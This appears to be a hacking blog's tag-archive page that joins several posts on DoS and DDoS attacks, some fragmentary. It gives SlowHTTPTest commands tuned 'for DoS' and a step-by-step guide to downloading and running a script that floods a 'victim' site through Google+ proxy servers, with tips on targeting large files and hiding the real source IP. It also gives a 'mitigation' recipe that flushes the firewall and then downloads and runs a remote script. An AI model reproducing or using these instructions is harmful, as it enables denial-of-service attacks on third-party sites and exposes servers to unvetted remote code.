I have talked about ApacheKiller flaw in detail here with possible workaround to mitigate this flaw.
Last week, a DDoS mitigation service vendor Arbor Networks revealed a detailed report can be download from here which say,
Tag: DDoS or DoS attack
We have talked about SlowHTTPTest in detailed here, 2 days ago Shekyan released a new version, below is summary of change log.
SlowHTTPTest 1.4 release notes:
- Added man pages as doc support
- Some bug fixes
- and now it can handle 64000 concurrent connections 😀 OpsS!!
You can read our previous post in detail that would help you, how to compile and use it.
Download and install SlowHTTPTest latest version :
wget http://slowhttptest.googlecode.com/files/slowhttptest-1.4.tar.gz
tar -zxvf slowhttptest-1.4.tar.gz
Introduction :
Slow HTTP DoS attacks rely on the fact that the HTTP protocol, by design, requires requests to be completely received by the server before they are processed. SlowHTTPTest is developed by Sergey Shekyan, Who is Developer Web Application Scanning at Qualys.
This tool is enough capable to acquire resource on server side at application layer.
How to Install SlowHTTPTest?
wget http://slowhttptest.googlecode.com/files/slowhttptest-1.1.tar.gz
gunzip slowhttptest-1.1.tar.gz
tar xf slowhttptest-1.1.tar
cd slowhttptest-1.1
Configure & Compile it. You can use custom –prefix=your-location
./configure
make
make install
How To Use SlowHTTPTest for DoS?
slowhttptest -c 1000 -B -g -o output-file-name -i 100 -r 300 -s 10240 -u http://www.example.com/url/page.html -x 20
Detailed options :
-a start start value of ranges-specifier for range header test
-b bytes limit of range-specifier for range header test
-c number of connections limited to 1024
-H, B, or R specify to slow down in headers section or in message body.
-R enables range test
-g generate statistics in CSV and HTML formats, pattern is slow_xxx.csv/html,
where xxx is the time and date
-i seconds interval between follow up data in seconds, per connection
-l seconds test duration in seconds
-o file custom output file path and/or name, effective if -g is specified
-r connections per second connection rate
-s bytes value of Content-Length header, if -B specified
-t verb custom verb to use
-u URL target URL, the same format you type in browser, e.g https://host:port/
-v level verbosity level of log 0-4
-x bytes max length of follow up data
Troubleshooting :
configure: error: OpenSSL is missing
Install openssl devel package on backtrack(or any debian based distro)
aptitude install libssl-dev
On CEntOS Linux :
yum install openssl-devel
SlowHTTPTest Video Tutorial :
Recently we wrote about ApacheKiller that freezes Victim Server in seconds. While this new findings by IHTeam express that Google+ Servers can be use for DDoS attack. Lets talk about this ant script, Hey.. but it is worthy 😀
How DDoS Attack Using Google+ Servers works?
When you post a URL on your Google+ status it fetches URL Summary (It includes Image + Short description) using Google+ Proxy Servers.
Advisory report says; vulnerable pages are “/_/sharebox/linkpreview/“ and “gadgets/proxy?“
So if you send multiple parallel requests with a big number e.g 1000 that can be turn into DDoS attack using Google+ Servers huge bandwidth.
How to use DDoS script to launch a DDoS attack Using Google+ Servers?
Download :
wget static.hackersgarage.com/ddos-using-google-servers.sh.hackersgarage.com
Make it shorter :
mv ddos-using-google-servers.sh.hackersgarage.com ddos.sh
Make it executable :
chmod u+x ddos.sh
Example of Usage :
./ddos.sh http://www.victim-website.com/some-file-url/file-name.mp3 1000
Now, lets look at this example :
It is recommended to find a full path to some big file which is downloadable without requesting for CAPTCHA.
e.g http://www.victim-website.com/some-file-url/file-name.mp3
NOTE : Make sure your workstation is capable to handle this huge number else your workstation will freeze and you will have to force fully restart your own workstation 😀
e.g 1000 is very big number.
You will see anonymous source instead of Real Source IP:
See sample apache webserver log below
209.85.228.85 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)" 209.85.226.88 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)" 209.85.228.90 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)" 209.85.226.91 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)" 209.85.226.81 - - [31/Aug/2011:15:34:18 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)" 209.85.228.86 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)" 74.125.152.84 - - [31/Aug/2011:15:34:21 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)" 74.125.152.81 - - [31/Aug/2011:15:34:33 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
You can also access it in browser to remain anonymous using below example URL (replace URL with your own choice) :
https://images1-focus-opensocial.googleusercontent.com/gadgets/proxy?url=http://www.Hackersgarage.com&container=none
If you have any question or unable to run this, Feel free to write us 🙂
If you are under a DOS or DDOS attack and running out of your mind or don’t know what to do, use this script to get ride of this panic situation.
DoS or DDoS is an attempt to make a victim website unavailable by creating hundreds to hundreds thousands of established connections that overflow victim resources and makes a website unavailable to the genuine users/visitors.
Short and useful slide that definite this script can be view on slideshare
You can run script to mitigate a low level ddos attack some how while and can stop DOS attack completely. This script is available under GPL license from the author.
How to mitigate DoS or DDoS attack?
Stop or flush other rules for now :
service apf stop
iptables -F
wget http://www.hackersgarage.com/wp-content/uploads/2011/08/antiDDoS.txt
mv antiDDoS.txt antiDDoS.sh
chmod u+x antiDDoS.sh
./antiDDoS.sh